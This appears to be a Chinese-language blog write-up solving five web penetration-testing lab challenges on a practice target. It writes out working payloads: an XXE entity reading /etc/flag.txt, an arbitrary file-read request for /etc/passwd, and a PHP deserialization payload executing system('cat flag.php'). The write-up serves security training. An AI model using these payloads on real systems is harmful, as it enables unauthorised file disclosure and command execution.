简介
有什么不会的可以来问我:162099475,需要题目什么的也可以来找我,欢迎交流
1.通过URL访问http://靶机IP/1,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
2.通过URL访问http://靶机IP/2,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
3.通过URL访问http://靶机IP/3,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
4.通过URL访问http://靶机IP/4,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
5.通过URL访问http://靶机IP/5,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
1.通过URL访问http://靶机IP/1,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
访问页面
根据提示访问flagishere.php,又发现提示。Ctrl + U 发现并没有flag
打开burpsuite 抓包进行分析
发现可疑的base64字符串,解密获取flag
flag{Zf@BxsTo}
2.通过URL访问http://靶机IP/2,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
访问页面2, 根据页面英文提示,你要买最新的安卓手机吗?
尝试抓包修改User-Agent(浏览器请求头)
由于我们不清楚最新版本是多少,发送到爆破模块进行爆破
接下来跟我进行操作,选择数字进行爆破
点击长度,可以发现异样的请求包
点击12返回包,发现响应值回显flag
flag{&k5#Be*m}
3.通过URL访问http://靶机IP/3,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
访问页面
发现flag在/etc目录下,说明要进行读取操作,再看xml的关键字,可以判断出是XML外部实体引用注入漏洞
关于XXE的利用可以参考我的另一篇文章
https://blog.csdn.net/weixin_53912233/article/details/129077736
抓包,添加payload
<?xml version = "1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/flag.txt">
]>
<x>&xxe;</x>
返回页面,发现flag显示出来了
flag{!Beb9idl}
4.通过URL访问http://靶机IP/4,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
访问页面,点击GOGOGO!,会出现flag提示
在?filename=后修改为/etc/passwd,尝试文件读取操作,发现存在任意文件读取漏洞
?filename=/etc/passwd&submit=GOGOGO%21
修改为flag.zip,成功获取flag
Payload:
?filename=/flag.zip&submit=GOGOGO%21
flag{@GCwqrUH}
5.通过URL访问http://靶机IP/5,对该页面进行渗透测试,将完成后返回的结果内容作为FLAG值提交;
访问页面,可以看见是关于php反序列化的题目。
我们直接抓住关键点,不要浪费精力。大概看一下具体关键内容,第一个框框属于变量接收,第二个框框属于属于执行php语句,第三个框框属于反序列化提交的内容,最后提交至r的接收变量
在本地编写php文件对payload进行序列化
<?php
class PHPObjectInjection {
public $inject = "system('cat flag.php');";
// $inject变量接收php执行语句
}
$a = new PHPObjectInjection; //创建指定类名
echo serialize($a); // 将结果进行序列化
?>
payload:
?r=O:18:"PHPObjectInjection":1:{s:6:"inject";s:23:"system('cat flag.php');";}
查看源代码获取flag
flag{Ig5hs$e#}
总结
一次关于简单的web渗透页面的笔记,有什么不懂的都可以找我。
PS:别光顾着收藏啊,看我那么辛苦,顺便点赞呀